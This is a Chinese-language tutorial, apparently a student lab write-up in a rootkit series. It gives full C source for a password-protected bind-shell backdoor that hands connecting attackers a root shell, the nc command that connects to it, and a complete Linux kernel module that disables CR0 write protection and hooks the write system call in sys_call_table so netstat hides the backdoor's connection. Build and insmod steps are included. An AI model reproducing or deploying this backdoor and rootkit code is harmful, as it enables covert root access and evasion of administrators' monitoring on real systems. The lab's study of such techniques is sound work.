Rootkit劫持系统调用系列文章:
- Rootkit劫持ls隐藏后门程序【待完成】
- Rootkit劫持ps隐藏恶意进程【待完成】
- Rootkit劫持netstat隐藏连接端口【部分完成】
一、实验介绍及环境说明
主机 | ip | 内核版本 |
---|---|---|
虚拟机A(攻击者主机) | 192.168.1.104 | Linux 4.15.0-106-generic |
虚拟机B(被攻击者主机) | 192.168.1.102 | Linux 4.15.0-106-generic |
实验效果:虚拟机A在虚拟机B上安装了后门程序,当虚拟机A连接虚拟机B上面的后门程序时会获得root shell,但此时如果虚拟机B使用netstat也会发现可疑的端口,本实验就是劫持netstat,让该连接端口不被netstat打印出来。
二、劫持netstat之前的效果
2.1 虚拟机B(被攻击者主机:192.168.1.102)
首先在被攻击者主机安装后门程序backdoor.c
。其实就是一个socket连接(port:1234),然后把标准输入、标准输出和标准出错流都绑定在输出句柄acptfd上,然后新建一个shell,这样该socket的连接者就会得到一个root shell。
需要注意的是:在真正意义上的后门中,代码中需要有自启部分,让被攻击者的电脑自动执行该后门程序。本实验是手动执行的。
#include
#include
#include
#include
#include
#include
#define BUFF_SIZE 128
#define PORT 1234
int main(int argc, char argv[]) {
int i, listenfd, acptfd;
pid_t pid;
char buf[BUFF_SIZE];
socklen_t sklen;
struct sockaddr_in saddr;
struct sockaddr_in caddr;
char enterpass[32] = "Password: ";
char welcome[32] = "Welcome\n";
char password[5] = "1234";
char sorry[50] = "Connection failure, error password";
if ((listenfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket creation error");
exit(1);
}
bzero(&saddr, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
saddr.sin_port = htons(PORT);
if (bind(listenfd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0
|| listen(listenfd, 20) < 0) {
exit(1);
}
sklen = sizeof(caddr);
while (1) {
acptfd = accept(listenfd, (struct sockaddr *)&caddr, &sklen);
if ((pid = fork()) > 0) {
exit(0);
} else if (!pid) {
close(listenfd);
write(acptfd, enterpass, strlen(enterpass));
memset(buf, '\0', BUFF_SIZE);
read(acptfd, buf, BUFF_SIZE);
if (strncmp(buf, password, strlen(password)) != 0) {
write(acptfd, sorry, strlen(sorry));
close(acptfd);
exit(0);
} else {
write(acptfd, welcome, strlen(welcome));
dup2(acptfd, 0);
dup2(acptfd, 1);
dup2(acptfd, 2);
execl("/bin/sh", "backdoor", NULL);
}
}
}
close(acptfd);
return 0;
}
2.2 虚拟机A(攻击者主机:192.168.1.104)
使用nc来连接虚拟机B,输入密码后便可得到一个root shell。
nc 192.168.1.102 1234
2.3 存在的问题
但此时如果虚拟机B使用netstat,就会发现有一个可疑的端口,进而察觉被攻击了。
netstat -antp
三、劫持netstat之后的效果
3.1、netstat原理
使用strace netstat -antp
来查看netstat到底是怎么工作的,打印信息较多,只列出关键部分如下:
execve("/bin/netstat", ["netstat", "-antp"], [/* 62 vars */]) = 0
......[省略n行]
open("/proc", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
getdents(3, /* 313 entries */, 32768) = 7880
open("/proc/1/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/2/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/4/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/6/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/proc/7/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = -1 EACCES (Permission denied)
......[省略n行]
open("/proc/net/tcp", O_RDONLY) = 3
read(3, " sl local_address rem_address "..., 4096) = 1650
write(1, "tcp 0 0 0.0.0.0:111 "..., 97tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 0.0.0.0:3902"..., 97tcp 0 0 0.0.0.0:39025 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 127.0.1.1:53"..., 97tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 0.0.0.0:4334"..., 97tcp 0 0 0.0.0.0:43349 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 0.0.0.0:22 "..., 97tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 0.0.0.0:3659"..., 97tcp 0 0 0.0.0.0:36599 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 127.0.0.1:63"..., 97tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 0.0.0.0:2049"..., 97tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 0.0.0.0:5610"..., 97tcp 0 0 0.0.0.0:56103 0.0.0.0:* LISTEN -
) = 97
write(1, "tcp 0 0 192.168.1.10"..., 97tcp 0 0 192.168.1.102:1234 192.168.1.104:51716 ESTABLISHED 4086/backdoor
) = 97
read(3, "", 4096) = 0
close(3) = 0
open("/proc/net/tcp6", O_RDONLY) = 3
read(3, " sl local_address "..., 4096) = 1561
write(1, "tcp6 0 0 :::54603 "..., 97tcp6 0 0 :::54603 :::* LISTEN -
) = 97
write(1, "tcp6 0 0 :::111 "..., 97tcp6 0 0 :::111 :::* LISTEN -
) = 97
write(1, "tcp6 0 0 :::44979 "..., 97tcp6 0 0 :::44979 :::* LISTEN -
) = 97
write(1, "tcp6 0 0 :::22 "..., 97tcp6 0 0 :::22 :::* LISTEN -
) = 97
write(1, "tcp6 0 0 ::1:631 "..., 97tcp6 0 0 ::1:631 :::* LISTEN -
) = 97
write(1, "tcp6 0 0 :::37177 "..., 97tcp6 0 0 :::37177 :::* LISTEN -
) = 97
write(1, "tcp6 0 0 :::2049 "..., 97tcp6 0 0 :::2049 :::* LISTEN -
) = 97
write(1, "tcp6 0 0 :::45573 "..., 97tcp6 0 0 :::45573 :::* LISTEN -
) = 97
read(3, "", 4096) = 0
close(3) = 0
exit_group(0) = ?
+++ exited with 0 +++
可以发现netstat把/proc下的很多数据都读取出来了。于是大致可以知道netstat是把/proc/pid/fd下面的数和/proc/net/tcp,/proc/net/udp等下面的数据汇总,对照得到统计结果的。
3.2、一个较为鸡肋的方式隐藏
3.2.1、隐藏原理
可以看到,打开/proc/net/tcp,/proc/net/udp之后调用了write系统调用,把连接信息打印出来。所以我们可以截胡write系统调用输出的信息。
3.2.2、代码解析
下面为隐藏代码,注意:sys_call_table本身是有写保护的,所以,直接去修改会报错。首先要对它取消写保护。可以通过设置cr0寄存器的WP位为0,禁止CPU上的写保护。当然,写完之后,还是要将恢复写保护,防止sys_call_table被其他进程意外篡改。
/*
* @Author: fxding
* @Date: 2020-07-10 21:16:03
* @LastEditTime: 2020-07-10 23:04:47
* @LastEditors: fxding
* @Description:
* @FilePath: /my_netstat/netstat.c
*/
#include
#include
#include
#include
#include
#include
#include
#include
static unsigned long **sys_call_table;
/* 原始write系统调用参数列表
* -fd是一个文件描述符,指代要写入的文件
* -buf参数为要写入文件中数据的内存地址
* -nbytes参数是想从buffer写入文件的数据字节数
*/
size_t (*orig_write)(unsigned int fd,
const void *buf,
size_t nbytes);
/* 取消写保护 */
void disable_write_protection(void) {
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
/* 恢复写保护 */
void enable_write_protection(void) {
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
/**
* write系统调用劫持函数
*/
asmlinkage size_t my_write(unsigned int fd,
const void *buf,
size_t nbytes){
void *tmp = (void *)kmalloc(nbytes, GFP_KERNEL);
/* 在用户空间向内核空间传递数据
* copy_from_user(void *to, const void __user *from, unsigned long n)
* -to是内核空间的指针,
* -from是用户空间指针
* -n表示从用户空间想内核空间拷贝数据的字节数
*/
copy_from_user(tmp, "empty", nbytes);
/* 过滤指定连接 */
if(strstr((char *)tmp, "192.168.1.102:1234")!= NULL){
// return -1;
return (*orig_write)(fd, "empty", 0);
}
else{
size_t orig = (*orig_write)(fd, buf, nbytes);
return orig;
}
}
/**
* 获取 sys_call_table 的首地址
*/
unsigned long ** find_sct(void) {
unsigned long **entry = (unsigned long **)PAGE_OFFSET;
//8个字节8个字节的遍历
for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
if (entry[__NR_close] == (unsigned long *)sys_close) {
return entry; //entry就是sys_call_table的地址
}
}
return NULL;
}
static int filter_init(void) {
printk("fitler_init\n");
/* 获取 sys_call_table 的首地址 */
sys_call_table = find_sct();
printk("system call table is 0x%p\n", (unsigned long *)sys_call_table);
if (!sys_call_table) {
printk("sys_call_table = NULL\n");
return 0;
}
else{
/* 根据sys_call_table获得write系统调用 */
orig_write = (void *)sys_call_table[__NR_write];
printk("original system call write, the address is 0x%p\n", (unsigned long *)orig_write);
disable_write_protection();
/* 把write系统调用替换为自己的 */
sys_call_table[__NR_write] = (unsigned long *)&my_write;
enable_write_protection();
return 0;
}
}
static void filter_exit(void) {
disable_write_protection();
/* 模块移除时再换回来 */
sys_call_table[__NR_write] = (unsigned long *)orig_write;
enable_write_protection();
printk("fitler_exit\n");
}
/* kernel model 注册 */
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
/*
* @Author: fxding
* @Date: 2020-07-10 21:16:03
* @LastEditTime: 2020-07-10 23:04:47
* @LastEditors: fxding
* @Description:
* @FilePath: /my_netstat/Makefile
*/
obj-m += netstat.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
注意:上面代码中netstat.c的第61行,为什么要在buf的位置随便填一个字符串呢?:
return (*orig_write)(fd, "empty", 0);
读write(2) — Linux manual page可知,buf是一个内存地址,write把buf中的nbytes大小的数据写入fd引用的文件中。其返回值为-1(写入时产生错误)或写入的字节数。所以此处可以直接写成
return -1;
,写成上述形式是为了好理解。
3.2.3、效果展示
执行以下命令,编译模块,并插入到内核中:
make
sudo insmod netstat.ko
netstat -antp
被攻击者执行后门程序,攻击者连接获得root shell,被攻击者再使用netstat查看时结果如下:
3.2.4、存在的不足之处
之所以称这个方法有点“鸡肋”是因为他没有从根本上解决问题。查看/proc/net/tcp文件发现,其中还是有这条连接存在的,0x04D2即1234端口,这个文件的有关字段的解释见这篇文章。
即,修改write系统调用只是让/proc/net/tcp的内容没有完全打印,但如果被攻击者查看/proc/net/tcp文件,还是能够发现。这是一种治标但不治本的方法。
3.3、治标又治本的方法
治本的方法就是直接抹去/proc/net/tcp的内容,不让此连接信息出现在/proc/net/tcp中。所以现在只需要找到/proc/net/tcp的生成方式,就可以对此做文章。
/proc/net/tcp的初始化函数为tcp4_proc_init_net()
,具体函数之间的关系如下:
static int __net_init tcp4_proc_init_net(struct net *net)
{
return tcp_proc_register(net, &tcp4_seq_afinfo);
}
static struct tcp_seq_afinfo tcp4_seq_afinfo = {
.name = "tcp",
.family = AF_INET,
.seq_fops = &tcp_afinfo_seq_fops,
.seq_ops = {
.show = tcp4_seq_show,
},
};
可以看到name="tcp"
,即创建的文件名字是tcp时.seq_ops.show=tcp4_seq_show()
即我们可以通过替换内核函数tcp4_seq_show()
来进行连接隐藏,由于时间仓促,此部分没有来得及做。先mark一下,考试完再做。
参考文章:
- netstat统计的tcp连接数与⁄proc⁄pid⁄fd下socket类型fd数量不一致分析
- 信息安全课程14:rootkit(2)
- Linux文件/proc/net/tcp分析
- Linux内核如何替换内核函数并调用原始函数